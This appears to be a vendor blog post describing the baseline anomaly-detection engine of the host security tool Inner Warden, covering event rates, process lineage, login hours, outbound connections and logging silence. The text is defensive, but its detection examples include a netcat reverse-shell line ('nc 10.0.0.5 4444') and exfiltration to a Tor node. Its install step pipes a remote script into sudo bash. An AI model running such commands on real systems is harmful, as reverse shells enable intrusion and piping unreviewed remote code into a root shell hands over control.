Zero-Day Detection via Baseline Learning

Signatures catch known attacks. That is fine for yesterday's threats. But the attack that actually compromises your server is the one nobody has written a rule for yet. The zero-day. The novel technique. The attacker who read the same blog posts you did and built something slightly different.

Inner Warden takes a different approach. For the first 7 days after installation, it watches your server and learns what normal looks like. After that learning period, any deviation from the baseline triggers an alert. No signatures required. No rule updates. If it has never happened before, it gets flagged.

The 7-day learning period

During the first 7 days, Inner Warden operates in learning mode. It collects data across four behavioral dimensions but does not generate baseline anomaly alerts. Signature-based detectors still fire normally, so you are not unprotected. The baseline engine is just building its model of your specific server.

Why 7 days? Because most servers have weekly cycles. Cron jobs that run on Sundays. Backup scripts on Wednesdays. Traffic spikes on Mondays. A 24-hour baseline would miss the Wednesday backup and flag it as anomalous on day 4. Seven days captures the full weekly rhythm.

After the learning window closes, the baseline is not frozen. It continues to adapt using exponential moving averages, so gradual changes in server behavior are absorbed naturally. Only sudden deviations trigger alerts.

Event rate tracking with EMA

The first dimension is event rate per hour. Inner Warden counts how many events each collector produces for every hour of the day. After 7 days, it has 168 hourly samples (24 hours times 7 days) per collector.

// EMA formula for each hourly bucket
ema[hour] = alpha * current_count + (1 - alpha) * ema[hour]

alpha = 0.3  // responsiveness factor
// Higher alpha = adapts faster, less stable
// Lower alpha  = adapts slower, more stable

// Anomaly threshold
if current_count > ema[hour] * 3.0 {
    // Event rate is 3x the expected baseline
    emit_anomaly("event_rate_spike", collector, hour)
}

if current_count < ema[hour] * 0.2 {
    // Event rate dropped to 20% of expected
    emit_anomaly("event_rate_drop", collector, hour)
}

A web server that normally handles 500 requests per hour at 2 PM will trigger an alert if it suddenly sees 1,500. But if traffic grows gradually from 500 to 600 to 700 over weeks, the EMA absorbs the growth and no alert fires. This is the difference between a spike and a trend.

Process lineage: who spawns what

The second dimension tracks parent-child process relationships. During the learning period, Inner Warden builds a map of which processes normally spawn which children. This is surprisingly stable on production servers.

nginx
  └── nginx (worker)        ✓ seen 10,000+ times

sshd
  └── sshd (privsep)
        └── bash
              └── ls, cat, vim, git  ✓ normal admin tools

postgres
  └── postgres (worker)     ✓ seen 50,000+ times

cron
  └── /usr/local/bin/backup.sh  ✓ seen 7 times (weekly)

nginx
  └── /bin/sh                ✗ ANOMALY: nginx never spawns a shell
        └── curl             ✗ ANOMALY: downloading something

postgres
  └── /bin/bash              ✗ ANOMALY: postgres never spawns bash
        └── nc 10.0.0.5 4444 ✗ ANOMALY: netcat reverse shell

This catches web shell exploitation even when the web shell is completely novel. It does not matter what language the shell is written in or how it was uploaded. If nginx spawns /bin/sh, something is wrong. The baseline knows this because in 7 days of normal operation, it never happened.

Login hour profiling

The third dimension is per-user login timing. Inner Warden builds a 24-bucket histogram for each user, recording which hours they typically authenticate. After the learning period, logins outside the established pattern trigger alerts.

The key insight is that each user has their own baseline. A 3 AM login is normal for a deployment bot and anomalous for a human admin. Per-user profiling eliminates the false positives that plague static "after hours" rules.

Outbound destinations per process

The fourth dimension tracks which external IPs and domains each process connects to. This is collected from eBPF connect() tracepoints, so it covers all outbound connections regardless of the protocol.

curl known destinations:
  → api.stripe.com (172.64.XX.XX)     ✓ seen 2,100 times
  → api.github.com (140.82.XX.XX)     ✓ seen 340 times
  → hooks.slack.com (34.XX.XX.XX)     ✓ seen 890 times

curl new destination:
  → 185.220.101.XX:8443               ✗ ANOMALY
    Never seen before. Tor exit node.
    Triggered by: cron job added 2 hours ago.

This catches data exfiltration even when the attacker uses standard tools. curl is not suspicious. Connecting to the Stripe API is not suspicious. But curl connecting to a Tor exit node at 3 AM from a cron job that did not exist yesterday? That is suspicious, and the baseline knows it.

Silence detection: the attack you do not see

The most dangerous signal is the absence of signal. When an attacker compromises a system, one of the first things they do is kill logging. Stop syslog. Truncate auth.log. Disable auditd. The result is silence.

Inner Warden's baseline engine tracks expected event rates. If the event rate drops by 80% or more within 5 minutes of a High or Critical incident, that is correlation rule CL-009: Silence After Compromise. The attacker just told you they are there by trying to hide.

14:00  auth_log: ~120 events/hour (normal)
14:00  journald: ~800 events/hour (normal)
14:15  INCIDENT: reverse_shell detected (High)
14:16  auth_log: 3 events/hour   (-97%)  ← silence
14:16  journald: 45 events/hour  (-94%)  ← silence
14:17  CL-009 fires: "Silence After Compromise"
       severity: Critical
       evidence: auth_log rate dropped 97% within
       2 minutes of reverse_shell incident

Most security tools cannot detect silence because they only alert on events, not on the absence of events. You need a baseline to know what should be there. Inner Warden has that baseline.

Comparison with commercial UEBA

User and Entity Behavior Analytics (UEBA) is a product category that Gartner defined and vendors love to charge for. Exabeam, Securonix, and Microsoft Sentinel all offer UEBA capabilities. They are powerful. They also cost $100,000+ per year and require months of professional services to deploy.

Inner Warden's baseline engine is not trying to replace a full UEBA platform. It does not do cross-user peer grouping or role-based modeling. What it does is provide practical anomaly detection that runs on a single host with zero configuration and zero cost. For most teams, that is more than enough.

Nothing to configure

Baseline learning is enabled by default. Install Inner Warden and it starts learning immediately:

curl -fsSL https://innerwarden.com/install | sudo bash

After 7 days you will start seeing baseline anomaly events in the dashboard's Sensors tab. Each anomaly includes the dimension (event rate, process lineage, login hour, or outbound destination), the expected value, the observed value, and a deviation score. The agent's AI triage layer decides which anomalies become incidents and which are just informational.

What to do next

• Cross-layer correlation - how baseline anomalies feed into correlation rules like CL-009 (Silence After Compromise) and CL-010 (Multi-Low Elevation).
• Behavioral DNA - attacker fingerprinting that builds on baseline deviations to create unique profiles.
• Reverse shell detection - syscall-level detection that complements baseline anomaly alerts with definitive pattern matching.
• eBPF kernel security - the eBPF hooks that provide process lineage and outbound connection data to the baseline engine.